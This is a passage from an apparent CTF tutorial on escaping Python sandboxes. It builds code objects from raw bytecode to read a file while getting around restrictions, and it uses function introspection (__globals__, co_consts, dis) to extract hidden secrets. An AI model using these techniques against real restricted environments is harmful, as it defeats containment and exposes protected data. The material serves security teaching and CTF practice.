't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' ``` ```python #On Remote function_type = type(lambda: None) code_type = type((lambda: None).__code__) #Get consts = (None, "./poc.py", 'r') bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' names = ('open','read') # And execute it using eval/exec eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ())) #You could also execute it directly mydict = {} mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` If you cannot access `eval` or `exec` you could create a **proper function**, but calling it directly is usually going to fail with: _constructor not accessible in restricted mode_. So you need a **function not in the restricted environment call this function.** ```python #Compile a regular print ftype = type(lambda: None) ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` ### Decompiling Python Using tools like [https://www.decompiler.com/](https://www.decompiler.com/) one can decompile given compiled python code ## Dissecting functions In some CTFs you could be provided the name of a custom function where the flag resides and you need to see the internals of the function to extract it. This is the function to inspect: ```python def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] if some_input == var2: return "THIS-IS-THE-FALG!" else: return "Nope" ``` #### dir ```python dir() #General dir() to find what we have loaded ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] dir(get_flag) #Get info tof the function ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ``` #### globals `__globals__` and `func_globals`\(Same\) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared: ```python get_flag.func_globals get_flag.__globals__ {'b': 3, 'names': ('open', 'read'), '__builtins__': , 'codeobj': at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': , 'filename': './poc.py', '__package__': None, 'read': , 'code': , 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': , '__name__': '__main__', 'foo': , '__doc__': None, 'dis': } #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` `__code__` and `func_code`: You can access this to obtain some internal data of the function ```python #Get the options dir(get_flag.func_code) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] #Get internal varnames get_flag.func_code.co_varnames ('some_input', 'var1', 'var2', 'var3') #Get the value of the vars get_flag.func_code.co_consts (None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope') #Get bytecode get_flag.func_code.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` **Disassembly a function** ```python import dis dis.dis(get_flag) 2 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (var1) 3 6 LOAD_CONST 2 ('secretcode') 9 STORE_FAST 2 (var2) 4 12 LOAD_CONST 3 ('some') 15 LOAD_CONST 4 ('array') 18 BUILD_LIST 2 21 STORE_FAST 3 (var3) 5 24 LOAD_FAST 0 (some_input) 27 LOAD_FAST 2 (var2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 6 36 LOAD_CONST 5 ('THIS-IS-THE-FALG!') 39 RETURN_VALUE 8 >> 40 LOAD_CONST 6 ('Nope') 43 RETURN_VALUE 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` Notice that **if you cannot import `dis` in the python sandbox** you can obtain the **bytecode** of the function \(`get_flag.func_code.co_code`\) and **disassemble** it locally. You won't see the content of the variables being loaded \(`LOAD_CONST`\) but you can guess them from \(`get_flag.func_code.co_consts`\) because `LOAD_CONST`also tells the offset of the variable being loaded. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (1) 6 LOAD_CONST 2 (2) 9 STORE_FAST 2 (2) 12 LOAD_CONST 3 (3) 15 LOAD_CONST 4 (4) 18 BUILD_LIST 2 21 STORE_FAST 3 (3) 24 LOAD_FAST 0 (0) 27 LOAD_FAST 2 (2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 36 LOAD_CONST 5 (5) 39 RETURN_VALUE >> 40 LOAD_CONST 6 (6) 43 RETURN_VALUE 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` ## References * [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) * [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) * [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/) * [https://gynvael.coldwind.pl/n/python\_sandbox\_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape) * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) \*\*\*\*